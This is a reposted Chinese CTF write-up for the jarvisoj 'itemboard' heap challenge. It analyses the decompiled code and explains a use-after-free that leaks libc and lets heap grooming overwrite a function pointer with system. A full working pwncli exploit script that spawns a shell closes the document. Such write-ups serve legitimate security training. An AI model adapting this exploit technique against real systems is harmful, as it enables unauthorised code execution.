jarvisoj_itemboard

2022-09-12 23:30:32 阅读：234 来源： 互联网

标签：itemboard gift libc chunk free item io jarvisoj

itemboard

逆向分析

ADD：

void __cdecl new_item()
{
  int v0; // eax
  char buf[1024]; // [rsp+0h] [rbp-410h] BYREF
  int content_len; // [rsp+404h] [rbp-Ch]
  Item *item; // [rsp+408h] [rbp-8h]

  item = (Item *)malloc(0x18uLL);
  v0 = items_cnt++;
  item_array[v0] = item;
  item->name = (char *)malloc(0x20uLL);
  item->free = (void (*)(ItemStruct *))item_free;
  puts("New Item");
  puts("Item name?");
  fflush(stdout);
  read_until(0, buf, 32, 10);
  strcpy(item->name, buf);
  puts("Description's len?");
  fflush(stdout);
  content_len = read_num();
  item->description = (char *)malloc(content_len);
  puts("Description?");
  fflush(stdout);
  read_until(0, buf, content_len, 10);
  strcpy(item->description, buf);
  puts("Add Item Successfully!");
}

可以看出每次创建两个chunk，如下图：

其中，description_chunk_prt的size大小是我们可控的

点击item_free，可以看到

void __cdecl item_free(Item *item)
{
  free(item->name);
  free(item->description);
  free(item);
}

以及看整个程序逻辑可以看出这个是remove_item的关键，而且没有进行 item_array[idx] = 0 的操作。

漏洞利用

存在UAF，我们可以利用UAF来leak libc.address ，然后利用堆风水将item_free替换为system。

堆风水

函数指针存在于每次申请的第一个0x18大小的chunk，我们申请一次用来leak，第二次申请的时候随便申请。我们free掉这两次申请的所有chunk，会发现存在函数指针的chunk皆为0x18，如下图：

而且item_array[0]，[1]记录着这两个chunk，我们可以进行add('a' * 16, 0x18, '/bin/sh;aaaaaaaa' + p64(system_addr))，将0x4c这个chunk当成idx 3的chunk的description_chunk，此时 item_array[0].item_free = item_array[3].description，与此同时item_array[3].description，即item_array[0].item_free，中的函数指针被修改为system，然后free(0)，完成getshell

EXP

#!/usr/bin/env python3
'''
Author: 7resp4ss
Date: 2022-09-12 19:34:48
LastEditTime: 2022-09-12 22:40:02
Description: 
'''
from pwncli import *

cli_script()
io = gift['io']
elf = gift['elf']
libc = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

if gift.remote:
    libc = ELF("./libc-2.23.so")
    gift['libc'] = libc

def add(name, length, desc):
    io.sendlineafter("choose:", "1")
    io.sendlineafter("Item name?\n", name)
    io.sendlineafter("Description's len?\n", str(length))
    io.sendlineafter("Description?\n", desc)


def show(idx):
    io.sendlineafter("choose:", "3")
    io.sendlineafter("Which item?\n", str(idx))

def delete(idx):
    io.sendlineafter("choose:", "4")
    io.sendlineafter("Which item?\n", str(idx))

add('aaaa', 0x80, 'bbbb')
add('dddd', 0x20, 'aaaa')
delete(0)
show(0)
malloc_hook = recv_current_libc_addr(88+0x10) #leak_address - 88 - 0x10
log_address_ex2(malloc_hook)
lb = set_current_libc_base_and_log(malloc_hook,'__malloc_hook')
system_addr = libc.sym['system']
log_address_ex2(system_addr)
delete(1)
add('a' * 16, 24, '/bin/sh;aaaaaaaa' + p64(system_addr))
delete(0)

io.interactive()

 ./exp.py de ./itemboard -b base+0xb0e -u

标签：itemboard,gift,libc,chunk,free,item,io,jarvisoj
来源： https://www.cnblogs.com/7resp4ss/p/16687713.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9

jarvisoj_itemboard

itemboard

逆向分析

漏洞利用

堆风水

EXP